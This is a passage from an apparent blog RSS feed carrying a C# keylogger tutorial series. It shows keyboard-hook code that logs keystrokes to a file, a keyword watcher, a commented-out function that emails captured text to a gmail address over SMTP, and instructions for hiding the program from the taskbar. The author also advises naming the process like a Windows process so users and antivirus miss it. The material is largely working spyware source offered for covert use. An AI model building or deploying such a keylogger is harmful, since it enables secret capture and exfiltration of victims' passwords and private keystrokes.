                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_LEFT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-arrow left-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_UP</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-arrow up-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_RIGHT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-arrow right-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_DOWN</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-arrow down-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">default</span><span style="color: #008000;">:</span> break<span style="color: #008000;">;</span>
            <span style="color: #000000;">&#125;</span>
&nbsp;
            writeUp <span style="color: #008000;">=</span> writeUp <span style="color: #008000;">+</span> temp<span style="color: #008000;">;</span>
&nbsp;
            unhide<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            checkKeys<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            writeToFile<span style="color: #000000;">&#40;</span>temp<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> checkKeys<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            <span style="color: #FF0000;">int</span> max <span style="color: #008000;">=</span> keyWords.<span style="color: #0000FF;">Count</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">for</span> <span style="color: #000000;">&#40;</span><span style="color: #FF0000;">int</span> i <span style="color: #008000;">=</span> <span style="color: #FF0000;">0</span><span style="color: #008000;">;</span> i <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> max<span style="color: #008000;">;</span> i<span style="color: #008000;">++</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
&nbsp;
                <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>writeUp.<span style="color: #0000FF;">Contains</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">String</span><span style="color: #000000;">&#41;</span>keyWords<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>
                <span style="color: #000000;">&#123;</span>
&nbsp;
                    MessageBox.<span style="color: #0000FF;">Show</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;KeyWord!&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
                    MessageBox.<span style="color: #0000FF;">Show</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">String</span><span style="color: #000000;">&#41;</span>keyWords<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
                    <span style="color: #008080; font-style: italic;">//sendMailK();</span>
                    writeUp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #000000;">&#125;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">/*public void sendMailK()
        {
&nbsp;
            MailMessage message = new MailMessage(&quot;keylogger&quot;, &quot;arxleol@gmail.com&quot;, &quot;keyword fired&quot;, writeUp);
            SmtpClient emailClient = new SmtpClient(&quot;either local host or google smtp or soemthing third&quot;);
            System.Net.NetworkCredential SMTPUserInfo = new System.Net.NetworkCredential(&quot;your username&quot;, &quot;your password&quot;);
            emailClient.UseDefaultCredentials = false;
            emailClient.Credentials = SMTPUserInfo;
            emailClient.Send(message);
&nbsp;
        }*/</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> unhide<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>writeUp.<span style="color: #0000FF;">Contains</span><span style="color: #000000;">&#40;</span>secretWord<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
&nbsp;
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ShowInTaskbar</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">TransparencyKey</span> <span style="color: #008000;">=</span> Color.<span style="color: #0000FF;">Yellow</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Refresh</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                writeUp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> writeToFile<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">String</span> writing<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            TextReader tr <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamReader<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;logs.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// read a line of text</span>
            <span style="color: #FF0000;">String</span> secr <span style="color: #008000;">=</span> tr.<span style="color: #0000FF;">ReadToEnd</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// close the stream</span>
            tr.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// create a writer and open the file</span>
            TextWriter tw <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamWriter<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;logs.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// write a line of text to the file</span>
            tw.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span>secr<span style="color: #008000;">+</span>writing<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// close the stream</span>
            tw.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">String</span> readFromFile<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">String</span> fil<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
&nbsp;
            TextReader tr <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamReader<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;secret.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// read a line of text</span>
            <span style="color: #FF0000;">String</span> secr <span style="color: #008000;">=</span> tr.<span style="color: #0000FF;">ReadLine</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// close the stream</span>
            tr.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">return</span> secr<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> button2_Click<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, EventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            Hook.<span style="color: #0000FF;">DestroyHook</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            button2.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
            button1.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> button3_Click<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, EventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            writeToFile<span style="color: #000000;">&#40;</span>writeUp<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> button5_Click<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, EventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            WriteSecretWord<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> button4_Click<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, EventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            present<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> present<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            TextReader tr <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamReader<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;logs.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// read a line of text</span>
            <span style="color: #FF0000;">String</span> secr <span style="color: #008000;">=</span> tr.<span style="color: #0000FF;">ReadToEnd</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// close the stream</span>
            tr.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            textBox3.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> secr<span style="color: #008000;">;</span>
&nbsp;
            textBox3.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> button6_Click<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, EventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            keyWords.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>textBox2.<span style="color: #0000FF;">Text</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #FF0000;">int</span> max <span style="color: #008000;">=</span> keyWords.<span style="color: #0000FF;">Count</span><span style="color: #008000;">;</span>
&nbsp;
            TextWriter tw <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamWriter<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;keywords.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">for</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">int</span> i <span style="color: #008000;">=</span> <span style="color: #FF0000;">0</span><span style="color: #008000;">;</span> i <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> max<span style="color: #008000;">;</span> i<span style="color: #008000;">++</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span>
&nbsp;
                tw.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span>keyWords<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// close the stream</span>
            tw.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Form1_Load<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, EventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>And for running all this you should use <strong>Program.cs</strong></p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections.Generic</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Linq</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Windows.Forms</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">namespace</span> KeyHookSucks
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">class</span> Program
    <span style="color: #000000;">&#123;</span>
        <span style="color: #008080; font-style: italic;">/// </span>
        <span style="color: #008080; font-style: italic;">/// The main entry point for the application.</span>
        <span style="color: #008080; font-style: italic;">/// </span>
        <span style="color: #000000;">&#91;</span>STAThread<span style="color: #000000;">&#93;</span>
        <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">void</span> Main<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            Application.<span style="color: #0000FF;">EnableVisualStyles</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Application.<span style="color: #0000FF;">SetCompatibleTextRenderingDefault</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">false</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Application.<span style="color: #0000FF;">Run</span><span style="color: #000000;">&#40;</span><span style="color: #008000;">new</span> Form1<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" rel="bookmark" title="Monday 26.10.2009">Keylogger in C# :: Detecting pressed keys</a></li>
<li><a href="http://www.axino.net/tutorial/2009/02/keylogger-in-c-introduction" rel="bookmark" title="Friday 06.02.2009">Keylogger in C# :: Introduction</a></li>
<li><a href="http://www.axino.net/tutorial/2009/05/keylogger-in-c-hooking-and-unhooking-keyboard-hook" rel="bookmark" title="Thursday 07.05.2009">Keylogger in C# :: Hooking and unhooking keyboard hook</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-saving-content" rel="bookmark" title="Tuesday 27.10.2009">Keylogger in C# :: Saving content</a></li>
<li><a href="http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger" rel="bookmark" title="Wednesday 02.06.2010">Extending the C# KeyLogger</a></li>
</ul>
<p><!-- Similar Posts took 6.967 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=558" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/hack/2009/11/finished-keylogger-in-c/feed</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Keylogger in C# :: sending emails</title>
		<link>http://www.axino.net/hack/2009/11/keylogger-in-c-sending-emails</link>
		<comments>http://www.axino.net/hack/2009/11/keylogger-in-c-sending-emails#comments</comments>
		<pubDate>Sun, 01 Nov 2009 03:34:37 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[solution]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=556</guid>
		<description><![CDATA[If you remember in previous tutorial about keylogger in C# you may have noticed that we invoke function for sending emails. Here is that function just remember that you need to change data for connecting to the smtp server. /*public void sendMailK() { &#160; MailMessage message = new MailMessage(&#34;keylogger&#34;, &#34;arxleol@gmail.com&#34;, &#34;keyword fired&#34;, writeUp); SmtpClient emailClient [...]]]></description>
			<content:encoded><![CDATA[<p>If you remember in previous tutorial about keylogger in C# you may have noticed that we invoke function for sending emails. Here is that function just remember that you need to change data for connecting to the smtp server.</p>
<p><span id="more-556"></span></p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"> <span style="color: #008080; font-style: italic;">/*public void sendMailK()
        {
&nbsp;
            MailMessage message = new MailMessage(&quot;keylogger&quot;, &quot;arxleol@gmail.com&quot;, &quot;keyword fired&quot;, writeUp);
            SmtpClient emailClient = new SmtpClient(&quot;either local host or google smtp or soemthing third&quot;);
            System.Net.NetworkCredential SMTPUserInfo = new System.Net.NetworkCredential(&quot;your username&quot;, &quot;your password&quot;);
            emailClient.UseDefaultCredentials = false;
            emailClient.Credentials = SMTPUserInfo;
            emailClient.Send(message);
&nbsp;
        }*/</span></pre></div></div>

<p><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c" rel="bookmark" title="Sunday 01.11.2009">Finished keylogger in C#</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-catching-secret-word" rel="bookmark" title="Saturday 31.10.2009">Keylogger in C# :: catching secret word</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding" rel="bookmark" title="Thursday 29.10.2009">Keylogger in C# :: Hiding &#038;&#038; unhiding</a></li>
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" rel="bookmark" title="Monday 26.10.2009">Keylogger in C# :: Detecting pressed keys</a></li>
<li><a href="http://www.axino.net/tutorial/2009/05/local-domain-or-set-up-of-local-site" rel="bookmark" title="Monday 04.05.2009">Local domain || set up of local site</a></li>
</ul>
<p><!-- Similar Posts took 4.911 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=556" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/hack/2009/11/keylogger-in-c-sending-emails/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Keylogger in C# :: catching secret word</title>
		<link>http://www.axino.net/hack/2009/10/keylogger-in-c-catching-secret-word</link>
		<comments>http://www.axino.net/hack/2009/10/keylogger-in-c-catching-secret-word#comments</comments>
		<pubDate>Sat, 31 Oct 2009 07:43:32 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[programs]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=554</guid>
		<description><![CDATA[Now this one is more or less simple. And most of the things are already explained. However I would like to point out that you can use alerts fired in the following functions to send emails or something similar. You may notice that function for sending emails is commented out this is because I hadn&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>Now this one is more or less simple. And most of the things are already explained. However I would like to point out that you can use alerts fired in the following functions to send emails or something similar.</p>
<p><span id="more-554"></span>You may notice that function for sending emails is commented out this is because I hadn&#8217;t used this function out of faculty as for example google&#8217;s smtp requires authentication.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;">        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> checkKeys<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            <span style="color: #FF0000;">int</span> max <span style="color: #008000;">=</span> keyWords.<span style="color: #0000FF;">Count</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">for</span> <span style="color: #000000;">&#40;</span><span style="color: #FF0000;">int</span> i <span style="color: #008000;">=</span> <span style="color: #FF0000;">0</span><span style="color: #008000;">;</span> i <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> max<span style="color: #008000;">;</span> i<span style="color: #008000;">++</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
&nbsp;
                <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>writeUp.<span style="color: #0000FF;">Contains</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">String</span><span style="color: #000000;">&#41;</span>keyWords<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>
                <span style="color: #000000;">&#123;</span>
&nbsp;
                    MessageBox.<span style="color: #0000FF;">Show</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;KeyWord!&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
                    MessageBox.<span style="color: #0000FF;">Show</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">String</span><span style="color: #000000;">&#41;</span>keyWords<span style="color: #000000;">&#91;</span>i<span style="color: #000000;">&#93;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                    writeUp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #000000;">&#125;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span></pre></div></div>

<p><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/hack/2009/11/keylogger-in-c-sending-emails" rel="bookmark" title="Sunday 01.11.2009">Keylogger in C# :: sending emails</a></li>
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c" rel="bookmark" title="Sunday 01.11.2009">Finished keylogger in C#</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-saving-content" rel="bookmark" title="Tuesday 27.10.2009">Keylogger in C# :: Saving content</a></li>
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" rel="bookmark" title="Monday 26.10.2009">Keylogger in C# :: Detecting pressed keys</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding" rel="bookmark" title="Thursday 29.10.2009">Keylogger in C# :: Hiding &#038;&#038; unhiding</a></li>
</ul>
<p><!-- Similar Posts took 4.981 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=554" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/hack/2009/10/keylogger-in-c-catching-secret-word/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Keylogger in C# :: Hiding &amp;&amp; unhiding</title>
		<link>http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding</link>
		<comments>http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding#comments</comments>
		<pubDate>Thu, 29 Oct 2009 22:07:17 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[programs]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=550</guid>
		<description><![CDATA[Let&#8217;s discuss this time how to hide and unhide out keylogger. Now I have decided to go with secret keyword. When you enter this keyword keylogger will show up. Also in my case it will start hidden in case secret word is set up, if secret word is not chosen then keylogger will start visible. [...]]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s discuss this time how to hide and unhide out keylogger. Now I have decided to go with secret keyword. When you enter this keyword keylogger will show up. <span id="more-550"></span>Also in my case it will start hidden in case secret word is set up, if secret word is not chosen then keylogger will start visible.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;">        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> unhide<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>writeUp.<span style="color: #0000FF;">Contains</span><span style="color: #000000;">&#40;</span>secretWord<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
&nbsp;
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ShowInTaskbar</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">TransparencyKey</span> <span style="color: #008000;">=</span> Color.<span style="color: #0000FF;">Yellow</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Refresh</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                writeUp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span></pre></div></div>

<p>Previous function checks whether user entered secret word, in case secret word is detected then keylogger will be shown. Check your task bar for new program.</p>
<p>Now actual hiding of keylogger I do in constructors and following code hides keylogger.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;">     <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">ShowInTaskbar</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
     <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">Refresh</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></pre></div></div>

<p>You must understand that this is not hiding actual process of keylogger but hides application so it is not obviously visible to final user.</p>
<p>You could in fact spend time to hide process but these actions sometimes fire events with anti-virus programs and therefore will make your keylogger usable. In this case I suggest that you just use some strange name or something similar to names of original windows processes and most users will not notice any difference.<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" rel="bookmark" title="Monday 26.10.2009">Keylogger in C# :: Detecting pressed keys</a></li>
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c" rel="bookmark" title="Sunday 01.11.2009">Finished keylogger in C#</a></li>
<li><a href="http://www.axino.net/hack/2009/12/keylogger-in-c-complete-project" rel="bookmark" title="Friday 04.12.2009">Keylogger in C# :: Complete project</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-saving-content" rel="bookmark" title="Tuesday 27.10.2009">Keylogger in C# :: Saving content</a></li>
